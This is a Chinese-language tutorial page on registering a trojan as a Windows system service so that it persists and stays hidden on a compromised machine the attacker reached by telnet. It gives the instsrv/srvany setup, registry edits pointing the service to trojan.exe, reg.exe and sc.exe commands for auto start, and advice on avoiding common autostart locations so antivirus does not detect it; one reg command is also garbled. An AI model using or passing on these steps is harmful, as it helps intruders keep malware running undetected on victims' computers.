当前位置:首页 > 软件开发 > net
firefox

如何把木马注册为系统服务

一般木马启动的办法不外乎以下几种: 1.启动组 2.autoexe.bat 3.注册表 4.win.ini 5.sysytem.ini
6.winstat.bat
7.*.inf
8.*.autorun
那么我们如何把自己的马儿注册为系统服务,从而增强其隐蔽性呢?下面是实现办法:
我们所需的工具已经由微软提供在win2000 resouce kit工具包里,名为instsrv.exe srvany.exe reg.exe sc.exe当然还需要配置好的马儿,
就叫trojan.exe吧。我们先telnet上肉鸡,将上述工具copy到system32目录下,下面就开始行动啦,

命令为instsrv.exe myservice srvany.exe。
这样就已经注册了一项系统服务,名为myservice,下面就要操作注册表,我们要在heky_local_machine\system\currentcontrolset\services找到我们刚才添加的myservice,

新建一个键,名为parameters,在parameters下新建键名为application,类型为reg_sz,

数据值就是c:\winnt\system32\trojan.exe.


那么我们如何实现以上操作呢?偶提供两种办法,一现在自己机机上操作,将heky_local_machine\system\currencontrolset\services-parameters导出为srv.reg一并传到肉鸡,

然后运行reg.exe /import srv.reg .这样就将ko了。另外一种就是用reg.exe手动添加。

reg.exe的用法如下:
f:\tools\nettools>reg
reg query /?
reg add /?
reg delete /?
reg copy /?
reg save /?
reg restore /?
reg load /?
reg unload /?
reg compare /?
reg export /?
reg import /?

rootkey [ hklm hkcu hkcr hku hkcc ]
subkey the full name of a registry key under the selected rootkey
valuename the value name, under the selected key, to add
/ve add the empty value name <no name>
type [ reg_sz reg_multi_sz reg_dword_big_endian
reg_dword reg_binary reg_dword_little_endian
reg_none reg_expand_sz ]
if omitted, reg_sz is assumed
separator specify one charactor that you use as the separator in your data
string for reg_multi_sz. if omitted, use "\0" as the separator
data the data to assign to the registry valuename being added
/f force overwriting the existing registry entry without prompt
每次都会返回代码0,1 0表示成功,1表示失败:(。
下是一例子:reg add hklm\software\myco /v path /t reg_expand_sz /d %"systemroot"%
adds a value (name: path, type: reg_expand_sz, data: %systemroot%)
notice: put the double quote ( " ) inside the expand string
根据这个例子不难看出,我们要添加的服务的命令应该是:reg add hkcc\system\currentcontrolset\parameters /v myservice /t reg_sz /d

c:\winnt\system32

嘿嘿!好了马儿就变成服务了呀,下面就运行trojan.exe吧

另外你需要用sc.exe来congfig一下,将myservice配置为auto,sc.exe

大家用的多了,偶就不多废话了。

^_^加上马儿的自我保护,你的马会不会变成"不死神马"呀!

注意尽量不要让木马以开头提到的8种方法启动,以免被查出trojan.exe的路径而被删除掉。

 ↓相关文章:
© 2006-2008 All Rights Reserved